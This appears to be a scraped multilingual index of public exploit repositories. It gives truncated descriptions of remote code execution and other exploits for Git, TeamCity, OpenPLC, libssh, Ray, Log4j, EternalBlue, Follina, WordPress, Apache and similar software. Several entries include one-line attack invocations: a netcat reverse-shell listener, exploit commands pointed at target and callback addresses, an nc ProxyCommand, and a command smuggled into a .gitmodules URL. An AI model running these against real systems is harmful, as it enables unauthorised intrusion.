CVE-2024-32002

CVE-2024-32002 1. Modifica il file exploit.sh sostituisci i repository 2. esegui bash exploit.sh exploit.sh Ispirato da - https://github.com/safebuffer/CVE-2024-32002 Realizzato per CTF Versioni vulnerabili v2.45.0 v2.44.0 =v2.43.3 =v2.42.1 v2.41.0 =v2.40.1 =v2.39.3 Fonte...

CVE-2023-42793

CVE-2023-42793 TeamCity CVE-2023-42793 RCE Esecuzione remota di codice rce.py Ispirato da - https://www.prio-n.com/blog/cve-2023-42793-attacking-defending-JetBrains-TeamCity python3 rce.py --url teamcity.runner.htb --command whoami exploit.py Questo script è una copia di...

CVE-2021-31630

OpenPLC WebServer v3 - RCE autenticato CVE-2021-31630 Questo exploit si basa sull'exploit di Exploit-DB realizzato da Fellipe Oliveira. Per prima cosa, autenticati Carica un file C malevolo Compilalo Avvia il PLC avvia la reverse shell Ferma il PLC non è necessario eseguirlo, la reverse shell è g...

POC-CVE-2018-10933

POC-CVE-2018-10933 Exploit di bypass dell'autenticazione LibSSH tramite RCE Riferimenti del codice Repository Git dell'esempio https://www.youtube.com/watch?v=ZSWQjmfcn4g Ulteriori informazioni sulla vulnerabilità https://www.libssh.org/security/advisories/CVE-2018-10933.txt...

CVE-2021-22941

Uso python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 Riferimento https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

CVE-2017-9805

CVE-2017-9805: Analisi della RCE di Apache Struts 2 S2-052 Questo repository contiene dettagli tecnici e una Proof of Concept PoC per la vulnerabilità di deserializzazione XStream in Apache Struts 2 S2-052. 📌 Dettagli della Vulnerabilità ID CVE: CVE-2017-9805 Tipo di vulnerabilità: Remote Code...

CVE-2023-6019

حقن أوامر Ray OS RCE غير مصرح به الاستخدام: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

Blackash-CVE-2017-0144

🌐 CVE-2017-0144 — EternalBlue: Schwachstelle zur Remotecodeausführung in Microsoft Windows SMBv1 "Ein Exploit. Dutzende Malware-Familien. Milliarden Schaden." 🔍 Zusammenfassung in einem Satz CVE-2017-0144 ist eine kritische Schwachstelle zur Remotecodeausführung in der SMBv1-Serverimplementierung...

MOODLE-3.X-Remote-Code-Execution

MOODLE-3.X-Remote-Code-Execution cve-2018-1133 moodle autenticato come insegnante esecuzione remota di codice...

CVE-2023-51385_test

Verificação do CVE-2023-51385 Primeiro, é necessário adicionar o seguinte conteúdo em /.ssh/config root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Existe injeção de comando na declaração do arquivo .gitmodules root@kitploit: url = ssh://echo helloworld...

CVE-2022-30190

CVE 30190 Amine TITROFINE | 17. Dezember 2022 Follina CVE-2022-30190 ist eine kürzlich entdeckte Microsoft Office Zero-Day-Sicherheitslücke. Es handelt sich um eine Schwachstelle mit hohem Schweregrad, die von Hackern für Remote-Code-Ausführungsangriffe RCE ausgenutzt werden kann. Sie tritt auf,...

CVE-2023-21716

CVE-2023-21716 Corruzione dell'heap della tabella dei font RTF di Microsoft Word https://twitter.com/jduck Una vulnerabilità all'interno di wwlib di Microsoft Office consente agli aggressori di ottenere l'esecuzione di codice in remoto con i privilegi della vittima che apre un documento RTF...

CVE-2024-41651

Blind SSRF zu RCE Exploit - PrestaShop 8.1.7 Dieses Dokument beschreibt einen Blind-SSRF-zu-RCE-Exploit auf einer frischen PrestaShop 8.1.7 Docker-Installation. Voraussetzungen Stellen Sie sicher, dass mindestens ein veraltetes Modul installiert ist, zum Beispiel: psfacetedsearch Laden Sie das...

Log4j-_Vulnerability

The Web Is Vulnerable to CVE-2021-44228 Questa applicazione web è vulnerabile a CVE-2021-44228, una falla di sicurezza critica in Apache Log4j 2 nota come Log4Shell. Questa vulnerabilità consente a un attaccante non autenticato di eseguire codice dannoso da remoto semplicemente inviando un input...

CVE-2022-21661

🛡️ CVE-2022-21661 Ein Python-basierter Proof-of-Concept PoC -Exploit für CVE-2022-21661, eine kritische Schwachstelle in WordPress, die es nicht autorisierten Angreifern ermöglicht, Object-Injection-Angriffe durchzuführen, die unter bestimmten Bedingungen zu Remote Code Execution RCE führen können...

https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | Proof-of-Concept für die Microsoft Outlook Remote Code Execution-Schwachstelle 📜 Beschreibung Dieses Skript präsentiert einen Proof-of-Concept PoC für CVE-2024-21413, eine bedeutende Sicherheitsschwachstelle, die in Microsoft Outlook entdeckt wurde und einen CVSS-Wert von 9,8...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.0 5.5.4 - 'widgetphp ' Execução Remota de Código Não Autenticada Console de linha de comando interativo para CVE-2019-16759 Uso: root@kitploit: python3 exploit.py Insira o site com Http/Https e obtenha o Shell :p...

CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE Improvised Descrizione Sfrutta una vulnerabilità di NoSQL injection pre-autenticazione in Rocket.Chat 3.12.1 per divulgare il segreto TOTP dell'admin e il token di reset della password, impossessarsi dell'account admin e ottenere RCE tramite una webhook...

CVE-2021-24499

CVE-2021-24499 Sfruttamento di massa di CVE-2021-24499: upload non autenticato che porta all'esecuzione remota di codice nel tema Workreap. Le azioni AJAX workreapawardtempfileuploader e workreaptempfileuploader non eseguivano controlli nonce, né verificavano in alcun altro modo che la richiesta...

Apache-CVE-2021-42013-RCE-Exploit

🚀 Überblick Dieses Exploit-Tool zielt auf Path-Traversal- und Remote-Code-Execution-Schwachstellen in Apache HTTP Server Versionen 2.4.49 und 2.4.50 ab. Das Tool verwendet das curl-Backend, um URL-Codierungsprobleme zu umgehen, die andere Python-basierte Exploit-Versuche beeinträchtigen, und biet...